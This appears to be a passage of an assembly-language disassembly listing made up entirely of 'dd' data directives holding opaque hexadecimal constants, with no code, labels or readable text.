		dd 0FC8A847Dh, 0D34DB800h, 16392EB5h, 3E06A207h, 5BF2AC8Ch
		dd 0D1306BE7h, 0F217D594h, 0C0F5E3C3h, 1C3D140Fh, 0D15979DCh
		dd 0D6E7E66h, 1BA96FFh,	49487CB0h, 8563E091h, 84777117h
		dd 7735A5FCh, 5A137C69h, 782AF083h, 7BA66EF7h, 0DFA75152h
		dd 47DD6273h, 0B61DCDE3h, 36E64C86h, 0DED9A4FDh, 4C885E70h
		dd 0E4CBCC18h, 6DFB5B3Dh, 0F236CAF0h, 8DBF8E9Ch, 8DF9D4A0h
		dd 0E743BC8Dh, 0DCAF3EEBh, 1ED2FD27h, 0F1FB3B09h, 0AD9125D7h
		dd 3C3B798Fh, 80128DDAh, 7FDCBA0Ah, 511CEB0Eh, 85073A7Eh
		dd 0A8EADDF8h, 3F0CF362h, 0F7760A7Dh, 0C7D0BEA5h, 0DEA6CA49h
		dd 870C73D4h, 4100AC70h, 886883BDh, 4774573Dh, 0CABE6DD0h
		dd 116D1D2Eh, 0D1C5DCFAh, 46D02A80h, 98606E50h,	2F492DDCh
		dd 0B75FBB8Dh, 0D5D94699h, 5B41B1B0h, 718F62AFh, 75554E5h
		dd 0AE61B3FAh, 7C55E5D2h, 199ECEFFh, 0EE949E94h, 0F49A70FEh
		dd 0E36AC248h, 0DFAA0E2Dh, 4C423952h, 70415307h, 8B075A8Fh
		dd 0F35C6D48h, 7FDDEECh, 34B26FECh, 7005D145h, 118F307Eh
		dd 0BC8C03BEh, 0FF3B4D91h, 0D240B939h, 4F9A6BFDh, 9DE22998h
		dd 0A5F4A67h, 0CD3D5EC1h, 43121F0Eh, 9054E24h, 8E4CE7B7h
		dd 8BFC48ABh, 8BDBBD11h, 0C1738089h, 5AECF2E1h,	1A7C9B66h
		dd 0FD8C7402h, 52E179E8h, 0D813241Dh, 45D21D31h, 9B1D6F1Dh
		dd 8E6B98AFh, 8B1A4D6Ah, 0AEC9EE9Bh, 1EDF70A4h,	8376329Bh
		dd 247D9C8Bh, 3A9D4BAh,	0B92A5298h, 2B87734Bh, 85EE7C7Ah
		dd 0A299FEECh, 5E862369h, 12989733h, 47B32F17h,	415A9E90h
		dd 6B8A5BF5h, 3E243D94h, 0EE15BB51h, 0AD8B6D6Bh, 0E71EFAA4h
		dd 7A1FD92h, 0C96A7FFAh, 0D3B547A1h, 0ED6F4B23h, 5E4A9B56h
		dd 0EC6764E2h, 0AA08B463h, 3FBBEC19h, 6D34FDEEh, 524B2713h
		dd 4CBAC4F1h, 5AC42937h, 0E0F6148Ch, 9DFB7223h,	4A34EE86h
		dd 246BE142h, 0B6D3B5AAh, 9F655379h, 0FE510ED5h, 5D922E1Eh
		dd 0E59F3A42h, 0C778070Eh, 0A8D21EFAh, 0EA3602B1h, 999231EBh
		dd 8993A118h, 0B312D395h, 212131BDh, 601642D5h,	0F3450EDCh
		dd 8C32FBC2h, 36A43072h, 0D50840D8h, 0EF7775F3h, 2658324Ah
		dd 0FEEE4BF9h, 0BE86F3AFh, 6F6E58B6h, 448B83D1h, 5729EA30h
		dd 0A2ADF169h, 0DC11D681h, 0F001D86Fh, 0DE2F873Ch, 0D53DA4AAh
		dd 0B9BA7A7Ah, 1B75FDDCh, 0F8259A5Fh, 170C4448h, 47E4B326h
		dd 43175B10h, 5A3041D2h, 8B62C29Bh, 3E1D056Ch, 0EE992747h
		dd 807F65D4h, 11D803B2h, 621C2294h, 88945F2Dh, 4AEC9036h
		dd 50A77C4Dh, 2805DD92h, 3A5CF5A3h, 99E5F76Bh, 74BFB81Bh
		dd 22D47EF1h, 0BB4EECABh, 0EA5714Ah, 3D259066h,	301DC38Eh
		dd 0E0544540h, 0CE07D84Eh, 7CBF5830h, 21888ED4h, 0CC4264EBh
		dd 0F92F2E6Bh, 9194F3B2h, 9C8A149Ah, 0BA989CCCh, 25AF6E11h
		dd 2365A741h, 0C0478817h, 0DBBA633Bh, 5F92F81h,	0B3090460h
		dd 6300D8A8h, 0C8D141F4h, 89D6E908h, 0FA401883h, 1F73F73Eh
		dd 0C6124604h, 4559C1FEh, 0FAA328C9h, 74C0C528h, 0B8924392h
		dd 665EAFB0h, 0A3952CF4h, 192F8778h, 2C3453D1h,	0A8C53B9Fh
		dd 1521102h, 367C91CCh,	6F70B3C7h, 0B7A6A80Eh, 93D1B40h
		dd 0E2646710h, 0E0A508B4h, 2E591BE2h, 999ECFD3h, 6B60DB24h
		dd 0C7D987ADh, 0C02E56AEh, 1D673436h, 0E5DEFCEh, 0CB685C18h
		dd 5D52BE16h, 0D149B462h, 1D016894h, 0E60F6F9Bh, 1AD2ED93h
		dd 0B39DC011h, 0EAC6CE4h, 98933B13h, 3733B3E4h,	0C4FC44ABh
		dd 82310750h, 69A5B590h, 21007DCBh, 4599224Eh, 16452131h
		dd 59C0D8E2h, 84CB9911h, 0B8C7EEF4h, 0EE4815DAh, 337F6BEEh
		dd 0B7E18639h, 91630D5Ah, 556F6746h, 0E6856E7Fh, 4DDA98CAh
		dd 9764FB9Ch, 3FB55B5Ah, 37DE569Bh, 0B291E392h,	866F6744h
		dd 0D3B49E8Dh, 7EDD00Eh, 8FDB1A99h, 39F931E3h, 239CDB74h
		dd 5BCD4827h, 0D1B3EFCBh, 0FBA9C942h, 365D2A8Ch, 0E6CF87C3h
		dd 0EA8715D9h, 747FAFFBh, 25012BF9h, 186B617Fh,	0A035740Ch
		dd 3108488Fh, 1B4CA1Fh,	0B6D994FCh, 0A61E60FCh,	6C8F88A8h
		dd 0CEBA5E2Ah, 778410B4h, 85DF0E8Fh, 0BC801B58h, 895D3087h
		dd 467D9DF9h, 4D222FBFh, 2F65BEAFh, 4ECF9ED5h, 8D309960h
		dd 0E04BC5F9h, 2CCCBEEBh, 6ACA9F68h, 0F9091549h, 0A62537D3h
		dd 0BF7132D7h, 52EDB4E0h, 14BC7F59h, 3081050Bh,	0FA2CA298h
		dd 363C7AEEh, 0B071350h, 2783FAB4h, 8F8558E7h, 0FC1FE084h
		dd 0B27D6748h, 0B3125DF8h, 6CD86C30h, 195AC46Ch, 0D49E24ADh
		dd 3DFA89F8h, 0E829CCC5h, 8F476E6Eh, 9317CEC4h,	921568Bh
		dd 2C9B5088h, 0A58BFDA0h
		dd 4DBFDF03h, 0C7998A0Dh, 0A2A23D5Ch, 0FCA45081h, 9FC4BE61h
		dd 75D2A504h, 47915A8Ch, 0D3182C2Ah, 1CEFCD27h,	9DA0E758h
		dd 1E353C90h, 2ECA5319h, 59EEE3B2h, 0F0F2C71h, 8EE474CAh
		dd 0D63ED827h, 0E5B138C9h, 81CC84F0h, 612CA49Ah, 0EA51D812h
		dd 0ACBEE834h, 5AF4C814h, 8B9955B8h, 0F1A799ABh, 0B87A3892h
		dd 7961A01Ch, 1AC70978h, 0E0A3DB5Ch, 3CFC10EEh,	0B5AFCBE9h
		dd 4971209Ch, 8A2EDA8Ah, 6EE016E9h, 52AF63AEh, 29B0EFFDh
		dd 79CBB16Fh, 876B161Fh, 99B1D800h, 0F959071Ch,	73F1CEB0h
		dd 0B7BA7228h, 87BE7BCAh, 0D9B56436h, 0E46EC31Bh, 65E25600h
		dd 0E8393578h, 7B9FE8CAh, 26DBE8EEh, 0AA805BF9h, 6E2AAE51h
		dd 0B24F99B2h, 0CAA7BE7Dh, 9BF2758Bh, 3DD0D607h, 0C2CCA3D3h
		dd 0AE8A2FFEh, 0E21C6938h, 20919F8Dh, 2423D8ECh, 85B34328h
		dd 0B3644F38h, 5790A1F0h, 0AB3491BAh, 0C43E4073h, 0B2CF5BF4h
		dd 3BE08AD2h, 0F27F583Dh, 47200764h, 46EB5CF5h,	4FC77275h
		dd 6C09133Eh, 6AF4E0CCh, 4670C81h, 0F744ED5h, 85F6BBA4h
		dd 0FB3F30DDh, 0A7E3C562h, 8069627Fh, 0AC8267B6h, 0E04BA926h
		dd 6BABA238h, 110AEF3Eh, 0EFD49616h, 5005713Fh,	0F596DF74h
		dd 0A4085D31h, 46FFD75Dh, 18803782h, 7A83CA26h,	490D6454h
		dd 0C488659Eh, 766CF7D8h, 5B6E3FDh, 806DBCBDh, 7BC7A7CCh
		dd 0CE47B342h, 953FC707h, 0A24E034Ch, 4EAD690Dh, 3C520C59h
		dd 0D14F7AE4h, 0C349EB34h, 1B491FBEh, 0B731F9CEh, 0A97D4B51h
		dd 0D9718D3Bh, 0E48FB8C5h, 566FA6Bh, 0A090FC3Ch, 57E69F05h
		dd 28B2888Eh, 80F81C39h, 5B34258Eh, 0AD4DAABFh,	0C0138207h
		dd 3D913CFBh, 3A7E994Eh, 9B38D490h, 51A55FA6h, 25E02E34h
		dd 9D109BF4h, 0B3DDA8Fh, 3D465247h, 3607FE73h, 0A2FE4428h
		dd 9A04FBD7h, 33F512DBh, 470FA98h, 0C4227F79h, 8F5D688Ch
		dd 9D6869D9h, 668D7883h, 84E3C652h, 34CD9E67h, 0FD4FC913h
		dd 95F0D308h, 742AC20h,	12D1463h, 97373F49h, 471E6CBFh
		dd 0FC8C7F2Dh, 5F8AD0BAh, 0CBF27479h, 913DB52Eh, 0F997A1CBh
		dd 70D46AB6h, 0A5A31F73h, 3C62999Ch, 4B515DACh,	0FFF21783h
		dd 3ED9D7FDh, 14E4A0E1h, 22DBCD64h, 61E8D6C3h, 0BF637635h
		dd 3662DCFFh, 4FEF9267h, 46FE3777h, 0A50C9019h,	65965471h
		dd 575F4D88h, 65633FC4h, 57ACABA1h, 6357205Bh, 0DD82A7CCh
		dd 41CB3420h, 0E13359F0h, 8E50F284h, 0E2839E57h, 0C43569A6h
		dd 9CE83165h, 0D12BF1D7h, 46AFC0D5h, 0CDC45C83h, 52A0A50Fh
		dd 92B4F0F1h, 2D1EEA4Eh, 49BF352Fh, 1BD62BD8h, 56528B7Eh
		dd 59A7E4A7h, 0DCCE53Dh, 0CF8809F7h, 0DD89E952h, 6BD09DA9h
		dd 8ABD3365h, 596BBF2h,	0D9AC4890h, 56E7410Fh, 748F8622h
		dd 75AFE4D0h, 1F5510BCh, 0EC578B69h, 8AA433DAh,	1A1EA69Fh
		dd 7C6F7EB5h, 7221F63Ah, 467A32ABh, 2CD3CEC0h, 9692C66h
		dd 0C4AFC179h, 899B33CFh, 9FB06A33h, 0FFC2C908h, 19A6CB02h
		dd 0C84C8DFCh, 410B4496h, 0E1B70074h, 7306B96Fh, 7E441366h
		dd 9A7F2A4Dh, 0C7C29FA0h, 0E9F4C288h, 3385F9FAh, 0AE0DD170h
		dd 33CE0B26h, 4C3A3591h, 278B51Fh, 64C8602Ah, 2DE0039Eh
		dd 187E621Ah, 0CB8F8715h, 5EA90E2Dh, 0AC3D3A7Dh, 80477740h
		dd 0EF2B6BEBh, 98FD1CC8h, 0D445DDF5h, 889A5F72h, 0E5D90E0Bh
		dd 0EB9610B3h, 0ECD4D70h, 0E6584239h, 14DB0682h, 848F779Ah
		dd 9E8246A2h, 0C1D0C359h, 0DD59116Ch, 0D920B0ABh, 0A0BD6D76h
		dd 0AA620A3h, 0A51C2BEFh, 0DE2E8615h, 31981E78h, 0CB4FD6F4h
		dd 2A8F1B4h, 7CF25C42h,	5D9DA3Fh, 0C5101AF2h, 0E19C6CC1h
		dd 65D97CA6h, 0B1ACABE4h, 0EF05827Ah, 0A7DD6EEFh, 29778795h
		dd 0B8C176D6h, 23AE109Bh, 0CC3C671Fh, 0CCF48458h, 0EF1BDA59h
		dd 21FC10B4h, 96E4B5CAh, 28122406h, 6D301457h, 0B370279Fh
		dd 0E31DF039h, 7155F2C3h, 35A02CD7h, 0D22543C7h, 0E98DD7F5h
		dd 16BEB277h, 0C180A4F8h, 0E5698924h, 0B9507BF1h, 0D0F85C0Ah
		dd 34D8DBD7h, 6DBC52B9h, 9B443327h, 0BA45463Ah,	8967FDCBh
		dd 6326B9Fh, 0DE990A6Ah, 12EC47F1h, 0F2CED8D2h,	529F877Dh
		dd 0C3982E4Fh, 7C5E978Dh, 0C03881C7h, 5A34CD2Eh, 0DA86512Eh
		dd 983E4A20h, 1EA91040h, 97F36BB9h, 4C1F60Ch, 241EB3E3h
		dd 624471B2h, 2459D4BEh, 0EAE7EEADh, 9D7C4370h,	0DCADE6AEh
		dd 5CB48644h, 0A8595CEFh, 3659EF99h, 1A1BB97Ch,	3F521D68h
		dd 802BCAEDh, 0D80543CEh, 0C48D8997h, 9B7B2BC1h, 0F73EC7BEh
		dd 7F7B33Eh, 93D6EC37h,	1BB0BA77h, 3F802DDDh, 0E329599Dh
		dd 3276759Ch, 83C7A7FEh, 0B4A513F3h, 3E395D18h,	15427F8h
		dd 8E1A590Ah, 0A6F2BBB6h, 23874F63h, 23991504h,	4AFAE436h
		dd 0EF699EBh, 2D8F52E2h, 491D8163h, 3EDCF9C9h, 0AC051AD7h
		dd 70DA5340h, 34B7031Eh, 1035536Eh, 0D2E0DE0Ch,	5BE4D1C7h
		dd 0A7B62912h, 0EF1256Ah, 0DB426B53h, 26DED6FDh, 26A3E6E6h
		dd 0F36D1EA5h, 53F65E1h, 4052113Ch, 9C260FA1h, 0E4950197h
		dd 0A4A6C9FCh, 0FC08051Bh, 54879E3Dh, 0BA8E935Dh, 0BCF1D6A8h
		dd 3C9933F1h, 0AD885AA2h, 0C2D39F08h, 42BD8282h, 69F3B3F5h
		dd 0A348A410h, 0A051FE6Ch, 5565A46Bh, 1DD136F8h, 9686D1FBh
		dd 9D83724Fh, 5CB3AC8Dh, 0FF19A5Fh, 0F3112A40h,	93A3CCA1h
		dd 0B87FF45Ch, 0D9906D38h, 7911E442h, 0E170B78Eh, 0A9F1D9Fh
		dd 5E973F10h, 0D715A02h, 0EE9F3791h, 0C867C30Ch, 4D22F0D5h
		dd 31F35F77h, 8FA86F7h,	37D0B3Fh, 9BC8BE3Eh, 766F9CBEh
		dd 0F81E9DECh, 0A73C1031h, 38577058h, 501AFF5h,	0BF1322B7h
		dd 0C666959h, 4B7813ACh, 8F17FEC6h, 0CEAB592Bh,	0FEA1AF17h
		dd 91BE312h, 8C15CF64h,	0F2E0AFA3h, 289EB038h, 5186C576h
		dd 0CFAF1F58h, 0B1E8AD8h, 586356DEh, 641553h, 3251C840h
		dd 0A8B8324h, 0EBFCA6E7h, 4C583903h, 0D6159B20h, 98737810h
		dd 0C327A3CAh, 0D06B6F55h, 64A5B7E8h, 6E908E34h, 5644014Eh
		dd 7A361763h, 5A80CE44h, 0C2857208h, 43311596h,	0A3F35EB4h
		dd 43072D66h, 0CD0A1961h, 6E33BF0Eh, 0ADCB5076h, 320C93DCh
		dd 999EDEA1h, 1297F209h, 0FCB49E34h, 547F3B9Ch,	8DE16E7Ch
		dd 0EF7670B7h, 5D445FA8h, 0F720E73Fh, 0F87BBAB5h, 9EF0F417h
		dd 4DF54534h, 6DFB2D4Bh, 2193998Ah, 0C475EA22h,	20ED2E54h
		dd 0CAA0FFh, 0B70DE622h, 4221D836h, 0AABE1F60h,	0A71A37F1h
		dd 0AF86F0CDh, 894DE1E4h, 0CD2E5D08h, 63F1BF24h, 10ABB14Ah
		dd 5BE2A0C3h, 4C14904h,	0C8D84352h, 0D8404243h,	957CD536h
		dd 0BF1C1DE2h, 328A2F6Ch, 851AF5C7h, 9CE0AA7Ah,	0BFAB3C99h
		dd 0E97E7188h, 0FAF64C6Dh, 1FF6616Dh, 52986B29h, 1AB5A17Bh
		dd 0D2F0C17Bh, 91BA4A8h, 3400572Eh, 0E6BE4A43h,	42EE06Eh
		dd 9C5FD57Bh, 3026C62Ch, 0E383A080h, 8A3A1389h,	50C3AC82h
		dd 0E3EB3388h, 2C903D23h, 7488F957h, 7CB948E0h,	0BF1FEF8Ah
		dd 6285A553h, 7D1E0871h, 0F457A8BEh, 22264E12h,	0F86E5BB1h
		dd 4A896123h, 227BE7F2h, 668A88D1h, 934AB925h, 5A240B34h
		dd 3C5A48EEh, 195BBC28h, 6A792340h, 0AF0723BEh,	37AEBFA0h
		dd 0FC6286Ah, 12C3088Ch, 0A42EC770h, 38904AB1h,	0F73AB2F1h
		dd 9394B966h, 93E7FE0Fh, 0AFC5640Ch, 2085232h, 963B4DCFh
		dd 279452Eh, 0B0E6301Dh, 9854CFC4h, 54FC6457h, 0A09291Ah
		dd 0B327C07Eh, 6ABC0EDEh, 0D78044F2h, 566798B5h, 0AE6793FBh
		dd 3891ACFFh, 23A8F98Ah
		dd 84355F2Dh, 48B8775Eh, 0AF5EB6AEh, 0A627BB6Bh, 5BEDDF0Fh
		dd 0A3CA5FB0h, 331CBA6Bh, 42E3DC30h, 4C135839h,	0EFB767F6h
		dd 7E4992FCh, 0F8048001h, 32B44790h, 3D711A36h,	95D6207Fh
		dd 6909FD60h, 8E856A88h, 0E16276B8h, 0DAD8DECEh, 41131BFDh
		dd 608C35C7h, 43BDB17Fh, 1FC28153h, 6774E88Eh, 0B74177A4h
		dd 0D018D1A7h, 0F28CD807h, 0F3EC2B61h, 9E3F8C8Bh, 0D7CCEB25h
		dd 7E30A091h, 2CC6EA34h, 0C8DF8E27h, 59CCDDB2h,	31D7563Bh
		dd 0C12EDC3Ah, 0F9D82B56h, 59231D8Bh, 4E3623E8h, 8795E3F2h
		dd 5E91DB8Bh, 0BC0F4701h, 0B23023BFh, 49397354h, 818D24E7h
		dd 13BB899h, 17F05A45h,	75B4C8F6h, 90B5D8CDh, 5C7FD78Dh
		dd 4BE8B1F3h, 25DCA008h, 8D4BDF10h, 0AC5B8E7Ah,	0A1ADF38Ch
		dd 165ECE9Eh, 73E2B940h, 0F3C2A26Fh, 0D30FE07Eh, 415D036Fh
		dd 0E91B3928h, 651DF873h, 0FE376877h, 4658A8B7h, 0FAF151BDh
		dd 92F2661Ah, 58F5A4B9h, 0D3F5C6h, 6C419DC2h, 875ED38Fh
		dd 699B9977h, 4E8AEA61h, 99B82F31h, 530F0903h, 3FEBE341h
		dd 522F38F9h, 30465EA3h, 0D4041A6Fh, 6E84E3C3h,	0DF8F4493h
		dd 6C60DBBh, 0D3C35C58h, 0B058D66Bh, 23B20C8Ah,	382F3254h
		dd 87E59530h, 0D81F0E96h, 1AB53B7Ch, 8462FF4Dh,	0EE4119CBh
		dd 0B72DE84Ah, 0BB2CB2Ch, 340F1D38h, 31AEB20Dh,	0AE64AACAh
		dd 49B5EF69h, 764E513Fh, 9492972h, 58802FB9h, 0A3A86096h
		dd 0A3447797h, 0AEF8F869h, 4AAC47C9h, 9977EF7Dh, 37FA60ECh
		dd 22C7F6F1h, 0F397AADFh, 6F6F865Ch, 5CC5CA80h,	52F8B05h
		dd 73B6D83Dh, 0C62650B9h, 0D6561C3Ch, 0BE16AB4Dh, 9C53C8CEh
		dd 0BED8BAA9h, 0D7928EAAh, 0F06AD0C6h, 0C1706C83h, 0BC48BFDEh
		dd 45474093h, 998862DBh, 0AB4AF4F6h, 4967FEDAh,	0A961D327h
		dd 7802B82Fh, 0D336FB11h, 0F089F2A7h, 0E037956Ah, 0DB692C90h
		dd 7B967DD3h, 50B525F3h, 0E1915D2h, 0C676E3F9h,	0B8035679h
		dd 1AFA8D4Dh, 0AE1124h,	7464FF23h, 0C1C00D93h, 0DDEF5163h
		dd 837AF157h, 278D65EDh, 0F0C571E8h, 0BE9AB011h, 14FDB50Dh
		dd 0A71DA3EDh, 0B2323356h, 88B02BB7h, 3B129681h, 8A1482A8h
		dd 0B085F15h, 0E0FF2569h, 863D8373h, 5C3F9210h,	0CDF798E0h
		dd 71ED0CEAh, 0BBB5FDBDh, 3742E112h, 630874CFh,	6DC6D5E5h
		dd 3051BB62h, 221B4639h, 815B0A98h, 0F816CF95h,	0C7A01E8Ch
		dd 2C782E56h, 0B079B0ACh, 0CF7768E1h, 37976CA3h, 5C25DFF9h
		dd 7C5A9BD4h, 507C67DFh, 0C1FAFFBFh, 0C1085F4Eh, 148CE8B6h
		dd 0D99547FAh, 8B061ABBh, 0F8A91650h, 78A5A08Ch, 0A4FC23D6h
		dd 0EB991E46h, 40AB74B1h, 75F0F110h, 0B573A616h, 417292D4h
		dd 6FD9DDEFh, 0B0A8DD90h, 0A20E16CEh, 0DD4D6B67h, 50D6B233h
		dd 231B9098h, 96125C9Ch, 0D4770F5Fh, 0FFE12658h, 55B0A09h
		dd 0AE14DAEh, 0D58D0C10h, 7CAF446Fh, 0E9675AEFh, 9D0D070Ch
		dd 5E428F58h, 0CC837F7Dh, 315FF721h, 0D281614Dh, 0AD582EC0h
		dd 0F942E83Bh, 72333850h, 0EFCF5CE9h, 0BE59E00h, 0CB78CE8Dh
		dd 0C430C1A2h, 0CA8A5DA8h, 829E88Fh, 15C76391h,	85FD5067h
		dd 43B6A522h, 0F8B344FBh, 0AA6E922Bh, 0F4B9F57Ch, 9121C3F3h
		dd 0BBB5B943h, 1B2333B5h, 14B6BDB8h, 1C39ED22h,	0E00D4FBBh
		dd 39396819h, 0E2D89365h, 7EFCBCDBh, 5F82F7FFh,	5B7E7DECh
		dd 0B48E2FD7h, 3391F84h, 2C2C9CBEh, 3703C48Dh, 0EC2B1887h
		dd 0DF97B705h, 1A0AF7Bh, 68D019Ch, 7939CB68h, 0B3AE849Dh
		dd 6249F871h, 0FEC71E01h, 9BEEC4C3h, 0E1BDD70Ch, 5029B88Bh
		dd 9C46E72Fh, 59DA77B1h, 270BC37Ch, 8CE8F27Ch, 0D975CB6Bh
		dd 1C5E35A8h, 0DC93C2FAh, 270B5DFDh, 3777733Eh,	8451D1CFh
		dd 67D7FFE7h, 11376277h, 0D555C5Dh, 7BEAA459h, 4209BEDEh
		dd 0C3FAA26Ah, 7FF9EEEDh, 0BFEC176Ch, 409BB1CCh, 0F28193FAh
		dd 0E2E81F67h, 0AA92454Fh, 0E022191Ah, 0C2498887h, 929A18C3h
		dd 226F0879h, 0E6F01AC8h, 0C8674993h, 0D3E35D96h, 2914714Ch
		dd 9B803858h, 0A8C925BDh, 0F957E6FCh, 620BE214h, 0B01D8062h
		dd 8A6CEF74h, 1D51D9Bh,	9042D202h, 0C0D54D4Fh, 629C974Bh
		dd 0DD8983BFh, 0CE8FEE37h, 0CD8C9850h, 7EC4074Ah, 1B66A1A9h
		dd 4069065Bh, 57B774D7h, 0BFDCDEDAh, 0C134F5DAh, 6066E617h
		dd 0A58F2577h, 132548BAh, 3C92AF7Ch, 6BE7A43h, 0D768F09Eh
		dd 1F8FC8E7h, 0F6044DE3h, 705991A3h, 0C69B3642h, 4844ED8Ch
		dd 0C17096F2h, 0EE978715h, 4A72882h, 0F355C30Fh, 0F258B377h
		dd 1AF59465h, 0ECE3F61Dh, 0F08A1DB3h, 8632595Bh, 0B27535B8h
		dd 7E949936h, 0E997D49Ch, 0FE94D9A9h, 0EF5B0AF6h, 0C61AC520h
		dd 971C4FAEh, 0AD81ECE5h, 4844A7BAh, 0DF66EBC8h, 0E63080F6h
		dd 0D0C5ACECh, 0EA8F020Fh, 0DF3A5ACh, 0F1EC493Bh, 0EBE761ABh
		dd 3C14EE8Bh, 5BBF10AFh, 0E6CDD5DDh, 8E644170h,	0FD0D28DFh
		dd 67CE8D5Ch, 0AA219120h, 0E793317Eh, 7201FD6Eh, 3D872F3h
		dd 42B18F90h, 7784B2C3h, 3E2DB87h, 62D4CCBDh, 0D3E4EC7Ah
		dd 86AE7343h, 0C99431ADh, 0C8A01020h, 42E42C1Dh, 9FC539A2h
		dd 0F9F4313Fh, 7B97ACC3h, 9F0F2785h, 4616B4B2h,	1D1A5A23h
		dd 0C40A62FAh, 0D94FEA7h, 52B470BBh, 288F12F0h,	296297ACh
		dd 0DD03AA1h, 0B7356F1Fh, 3E28B215h, 0F7369F5Eh, 0E1FBE0D4h
		dd 8469FCB4h, 9C87BC55h, 4590765Eh, 0C7E52FEEh,	5B089F2Fh
		dd 0A5D17E37h, 818FC3BCh, 7A68A1FDh, 21FCD5D0h,	0BD46B914h
		dd 0E1200F45h, 85E9F166h, 0BBEB1E5Eh, 674976E1h, 7CC5EB62h
		dd 53DBF228h, 0F3F3A56Ah, 62889FC2h, 945ADD59h,	0C5C3799Fh
		dd 0CFDBC198h, 43870AC7h, 64EF7F87h, 0BB640D85h, 5B306BC3h
		dd 77447EE3h, 0F4E9FD4h, 24EFB95Ch, 0A85BE905h,	258D692Fh
		dd 603B3044h, 72B588B6h, 0F9C1481Dh, 716D8777h,	0E1C822D0h
		dd 0B854700Dh, 0AC23C89Dh, 7228ED16h, 30E584EBh, 150F84E4h
		dd 0C621D3Eh, 7DD47543h, 1A55932Eh, 99DD4FACh, 0C733FD9h
		dd 0A034840Ah, 54351FE5h, 4573803Fh, 542FC845h,	84B97626h
		dd 5A216F89h, 0C8A3E77Bh, 2F910B64h, 0C11CD78Ah, 81AA419Ah
		dd 6F0908B8h, 0E299F8DDh, 0AC4DDF12h, 0F8225FBFh, 76D3B1B3h
		dd 36AAA9A5h, 975C072Dh, 82D5AA7h, 75D8B7FAh, 0F88A2964h
		dd 0B547D4FFh, 0B529858Dh, 74F1F789h, 75FDF713h, 0A527CB50h
		dd 84AB4D0Eh, 0ECAC8587h, 317A209Ch, 2F6A4593h,	4960753Eh
		dd 0E7A43E55h, 8E92D8A9h, 722DD022h, 0B8229ADDh, 0B5F2B9F7h
		dd 0C27CA309h, 0DD7EBB3Eh, 83E6C538h, 108218F1h, 0C7861BA7h
		dd 718F107Fh, 6EB70A02h, 4856179Ch, 0A3C29315h,	0E7A16611h
		dd 0A59A36C6h, 0E71F3D87h, 0FF4334Ah, 590024A8h, 2AFDCB41h
		dd 6E97439Ah, 0EB9EEE7Bh, 61E1D813h, 7136DF2Ah,	4A102101h
		dd 240630AEh, 0DB3365A2h, 0DB283FADh, 908436BDh, 0ADB15230h
		dd 8D6C9416h, 9489209Dh, 0EB4F3D47h, 51735A84h,	681286A0h
		dd 0E4E651DBh, 0AC72699Dh, 0F0BB0B27h, 41153F46h, 99FFF819h
		dd 0DE355B63h, 5C89CB91h, 7CFC8DA4h, 67027422h,	4FBF0360h
		dd 410B6BD9h, 6E073522h, 0FC3742E7h, 0E2E53CBFh, 0E5285463h
		dd 778EC2E4h, 1DAC2A0h,	0B35028B3h, 679C1554h, 380EE4FDh
		dd 778EDD9Fh, 92AEE281h, 0C153A5A3h, 89B74383h,	9EC561EEh
		dd 82F87D3Ah, 0BBF50B37h, 158FB6FFh, 66B23C1Ch,	639C3830h
		dd 1D7D4464h, 621B2D3Bh, 24262219h, 2495519Fh, 382D77B0h
		dd 0A242432Ah, 0F4E0C2C4h
		dd 3AA39B96h, 0C2325DB6h, 26A8DEFBh, 0A70ED366h, 9291F672h
		dd 0E4716E0h, 0A6A1144Bh, 0BB5EC4F8h, 7B0D48CDh, 99499BB6h
		dd 0ECBB73DAh, 1A691627h, 0D33F0918h, 8330E5D5h, 0F3017E76h
		dd 0D6EEF566h, 8D32B1A8h, 0A2839952h, 0A16D7529h, 0C7990C35h
		dd 0B16AA89Bh, 80FD1472h, 781A9F53h, 83773629h,	578190D6h
		dd 6A02BD86h, 960441D7h, 79A25916h, 0D8DBEE83h,	82F976B9h
		dd 5F45A9Bh, 910AF978h,	5AD38A12h, 0DE309CC0h, 336380BEh
		dd 41F0FA70h, 59A519CFh, 0E83D5EB9h, 596DFA78h,	1230ECA3h
		dd 4063AC27h, 42436FADh, 9734119Eh, 6457FF3Fh, 9787577Ah
		dd 2C532305h, 0ECFE609Fh, 8491F7Dh, 0D9EA70A7h,	80D6CF3Eh
		dd 83C7AE66h, 449B9DD2h, 83F1B092h, 388E1E8Ch, 1EAB14D8h
		dd 0EEF8A129h, 681EAF5Ch, 82B9E035h, 0CE653609h, 42FC6A86h
		dd 0AC3B0C43h, 0B05AF937h, 78933DDBh, 3C225ECDh, 6D41A43Dh
		dd 5CCFD1A6h, 7CF6726Dh, 0DDF24624h, 28D80E16h,	76C4B574h
		dd 3603CB43h, 0EA277CBBh, 0CB7B9BECh, 0D9F52770h, 0D11B8883h
		dd 0C0AF45FAh, 0AC20B12Fh, 6161C48Eh, 0F3AB9827h, 0AFBF4D32h
		dd 0C8A89654h, 8018835Bh, 3F2FABCEh, 6B4F84Ch, 0C81345ADh
		dd 406DAA74h, 0BE37FBC7h, 40C96314h, 109B4F89h,	0C55C9D9Fh
		dd 9292A774h, 0EE9FEA7Fh, 6ED1E344h, 55E9FE78h,	6AB5AE14h
		dd 467927B1h, 16310CCFh, 6767416Ch, 748605B8h, 731619BBh
		dd 4F9B4BE5h, 184EDDD8h, 8A5FC7D0h, 0ECA815h, 754FE8DEh
		dd 0FF1DF9ACh, 3F76D23Fh, 0DAE4BFBh, 33640C22h,	0DC782C54h
		dd 0E7AF30B2h, 9692E38h, 6F0707DBh, 0B44F6FEEh,	6C805328h
		dd 10368E33h, 0A9E2983h, 0AC8268Fh, 26A915C3h, 8AC77C0Dh
		dd 0FD47A3E5h, 0B78D79C8h, 87083CD7h, 0AD9D7D7Fh, 19FA20BEh
		dd 6F22282h, 360D339Bh,	0E5CB8820h, 0F71F520Ch,	58CF8FD8h
		dd 0FA88E9F0h, 0D2B1761Bh, 0A5538097h, 0B9BC1258h, 0FE5FF6D4h
		dd 178BA9C2h, 71D07C65h, 3F45B028h, 0E03E6719h,	3FDFAB3h
		dd 0B385C764h, 0F9660994h, 0BEBB8FD1h, 0EE35586Ah, 9039EDA5h
		dd 29B85C22h, 0A90C1968h, 0D9E433EBh, 4368C573h, 0C1121943h
		dd 0BE461947h, 78F549F5h, 80032413h, 0B7FEADFDh, 1459BC37h
		dd 0CF78836h, 143B27D9h, 8944A206h, 0FB7831AEh,	53CC5E9Ch
		dd 0ADFD64D5h, 0B66FE2DEh, 1D35BFDCh, 0A6BC53ADh, 2F34EEE7h
		dd 0EDC477ABh, 865B71CAh, 81DD0E34h, 0B2AA4000h, 5EFA3F57h
